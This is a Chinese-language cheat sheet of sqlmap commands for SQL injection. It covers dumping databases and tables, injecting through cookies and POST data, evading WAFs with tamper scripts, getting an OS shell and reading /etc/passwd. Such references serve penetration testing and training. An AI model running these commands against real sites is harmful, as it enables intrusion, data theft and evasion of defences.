Sqlmap的常用命令

常用参数

--is-dba  		 判断当前用户是否有管理员权限
--users 		 查看所有用户
--current-user 	 查看当前用户
--dbs 			 查看所有数据库
--current-db 	 查看当前数据库
-D test --tables 查看test数据库中的所有表
-D test -T users --columns	查看test数据库中user表的所有列
-D test -T users -C username --dump 查看test数据库中user表中username列中的所有数据
--dump-all 		 保存所有数据到本地

GET方法注入

  • sqlmap -u “url” 指定检测的url,后面可加参数
  • sqlmap -u “url” --users 爆破所有用户

POST方法注入

  • 先使用burpsuite工具拦截post请求数据包保存到post.txt中,再用sqlmap进行调用
  • 命令:sqlmap -r post.txt 参数

带参数注入

  • 携带数据注入:sqlmap -u “url” -data=“username=admine&password=admin”
  • 携带cookie注入:sqlmap -u “url” -cookie=“xxx”

混淆注入

--identify-waf 	识别waf类型
--dbms=mysql 	指定数据库类型
--skip-waf 		绕过waf
--random-agent  使用随机http头部
--mobile 		模拟手机请求
--smart 		进行积极的启发式测试,快速判断为注入的报错点进行注入
--offline 		减少跟对方的交互
example:sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile

高级注入

  • 当默认级别无法探测到漏洞时,可适当提升检测级别
    探测级别:–level 1-5级别,默认为1
    危险级别:–risk 1-3级别,默认为1
    使用最高级别:sqlmap -u "url" --level=5 --risk=3

提权操作

--sql-shell 	获取数据库权限
--os-shell 		获取系统权限
--os-pwn 		与metaspolit交互
--file-read="/etc/passwd" 读取敏感信息

使用tamper

  • 有些时候网站会过滤掉各种字符,可以用tamper来解决
    example:sqlmap -u "url" --tamper=space2comment.py
    tamper脚本在目录:/usr/share/sqlmap/tamper,目前有57个脚本
    Sqlmap的常用命令_第1张图片
  • 常用tamper脚本具体含义
apostrophemask.py		用utf8代替引号
equaltolike.py			like代替等号
space2dash.py			绕过过滤‘= 替换空格字符(”),(’  ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
greatest.py				绕过过滤 >
space2hash.py			空格替换为#号随机字符串以及换行符
apostrophenulencode.py	绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py	当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2mssqlblank.py		空格替换为其它空符号
base64encode.py			用base64编码替换
modsecurityversioned.py	过滤空格,包含完整的查询版本注释
space2mysqlblank.py		空格替换其它空白符号(mysql)
between.py用between		替换大于号(>
space2mysqldash.py		替换空格字符(' ')(' -')后跟一个破折号注释一个新行(' n'
space2plus.py			+替换空格

参考文章
https://www.freebuf.com/sectool/164608.html
https://blog.csdn.net/qq_36374896/article/details/83658305

你可能感兴趣的:(Sqlmap的常用命令)